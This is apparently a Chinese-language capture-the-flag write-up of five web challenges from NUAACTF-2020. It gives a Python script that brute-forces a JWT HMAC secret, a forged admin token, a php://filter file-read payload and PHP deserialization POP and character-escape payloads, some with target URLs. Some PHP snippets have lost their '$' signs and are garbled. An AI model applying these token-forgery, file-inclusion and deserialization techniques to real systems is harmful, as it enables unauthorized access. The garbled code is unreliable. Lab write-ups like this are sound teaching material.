NUAACTF-2020 web

是阳间题

感谢喵师傅的环境,膜:https://miaotony.xyz/2020/05/30/CTF_2020NUAACTF/

web1-checkin
ctrl+u的,没注意到在下面,后来在返回包的html里才看见。。。

nuaactf{we1cOme_to_NuaAcTF}

web2-jwt
关于jwt和jwt伪造,膜:https://blog.csdn.net/qq_45521281/article/details/106073624
github上有一个爆破jwt-secret的工具,膜:https://github.com/brendan-rius/c-jwt-cracker
知道原理后我们也可以自己写脚本:
首先随便注册一个号,登上去,看到自己的JWT:
JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImhhbmFvIn0.r8MVWvxF0V8QVmMYn8dMdfSUBAkc1f5LosyaOHoSPbU
把前两部分b64decode,有:
{"alg":"HS256","typ":"JWT"}
{"username":"hanao"}
然后根据加密方式和结果爆破出密码:(python3.8.2)

import hashlib
import hmac
import base64

chars = ["","0","1","2","3","4","5","6","7","8","9","q","w","e","r","t","y","u","i","o","p","a","s","d","f","g","h","j","k","l","z","x","c","v","b","n","m","Q","W","E","R","T","Y","U","I","O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M"]
before = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImhhbmFvIn0".encode('utf-8')
secret = ""
after = "r8MVWvxF0V8QVmMYn8dMdfSUBAkc1f5LosyaOHoSPbU=".encode('utf-8')
#这里要用'='把after补够4的倍数位,方便比较
for i in range(0,62):
   for j in range(0,62):
        for k in range(0,62):
            for l in range(0,62):
                secret = chars[i] + chars[j] + chars[k] + chars[l];
                secret = secret.encode('utf-8')
                result = base64.b64encode(hmac.new(secret, before, digestmod=hashlib.sha256).digest())
                if result == after:
                    print(secret)
                    exit()
用了一分钟左右

之后就是根据之前的数据伪造JWT;
{"alg":"HS256","typ":"JWT"}
{"username":"admin"}
分别urlbase64后加点进行hmac-sha256;最终伪造出的JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.SYQ-AGwY5XIcxY621ToK8zEgomHE0Bla9tAUWTLxnwA
然后抓包修改JWT,再进入个人中心即可。

nuaactf{haojiGuoGuoTql}

web3-easypop
直接给了我们代码

没什么逻辑,直接整就行:(PHP)

<?php
class lemon {
    protected ClassObj;
    function __construct() {this->ClassObj = new evil();
    }
}
class evil {
    private $data;
}
echo urlencode(serialize(new lemon()));
?>

代码在线运行:https://tool.lu/coderunner/
运行结果:
O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3BN%3B%7D%7D
访问:
http://139.9.221.0:8088/?d=O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3BN%3B%7D%7D

nuaactf{you_can_really_p0p}

web4-command inj
查看源码发现include.php
访问发现?file=index,文件读取:
http://139.9.221.0:8092/include.php?file=php://filter/read=convert.base64-encode/resource=include
伪协议相关,膜:https://blog.csdn.net/Ni9htMar3/article/details/69812306?locationNum=2&fps=1
文件包含相关,膜:https://blog.csdn.net/qq_42181428/article/details/87090539
解码后:

<?php  error_reporting(0);
@file =_GET["file"];
if(isset(file)) {
	if (preg_match('/http|data|ftp|input||flag/i',file) || strstr(file,"..") !== FALSE || strlen(file)>=100) {
		echo "<p> error! </p>";
	} else {
		include($file.'.php');
		setcookie("tips","createfun.php");
	}
} else {
	header('Location:include.php?file=index');
}
?>

提示createfun.php,再读一次;

<?php
func = @_GET['func'];
arg = @_GET['arg'];
if(isset(func)&&isset(arg)){func(arg,'');}

PHP变量名可以当函数用,题目有提到command,试图用很多方式执行命令,但是都报错了,执行不了。惨惨。
考虑到第一个PHP中过滤了flag关键字,猜测flag在flag.php中,show_source:

nuaactf{php_IS_thE_best_language}

web5-escape
直接给了源码:

关于PHP的魔术方法:https://www.php.net/manual/zh/language.oop5.magic.php
首先是一个单次的过滤,可以双写绕过。
然后,在类C中提示flag.php,所以要让C的成员变量为:flaflagg.php,通过file_get_contents()得到flag
然后让类B的属性b等于类C,就会调用C中的__toString方法。
序列化如下:

<?php
class B{
	public b;
}
class C{
	publicc = "flaflagg.php";
}

a = new B();a->b = new C();
echo serialize($a);
?>

构造出:O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:12:"flaflagg.php";}}

题目中,序列化对象$a后,将字符串中的flag关键字过滤掉了,很明显是反序列化字符逃逸了,长度变化为4~0:
反序列化字符逃逸详解,膜:https://xz.aliyun.com/t/6718
不断尝试,可以构造:(特别注意最后文件名的字符长度为8,不是12)
?a=flagflagflagflagflagflag&b=1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flaflagg.php";}}
这样的程序执行过程:
赋值:
$a->a=flagflagflagflagflagflag;
$a->b=1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flaflagg.php";}};

序列化后为:
O:1:"A":2:{s:8:"username";s:24:"flagflagflagflagflagflag";s:8:"password";s:71:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flaflagg.php";}}";}
过滤后为:
O:1:"A":2:{s:8:"username";s:24:"";s:8:"password";s:71:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}

再反序列化时,A的实例的username成员变量会读取24个字符,即:";s:8:"password";s:71:"1这一段;
后面的就会被读成类B的一个对象,这个实例又会包含一个类C的实例。最后执行。

flag{you_can_readlly_dance}

最后这个并不是很懂。。。如果理解有误,烦请各位师傅指正~感谢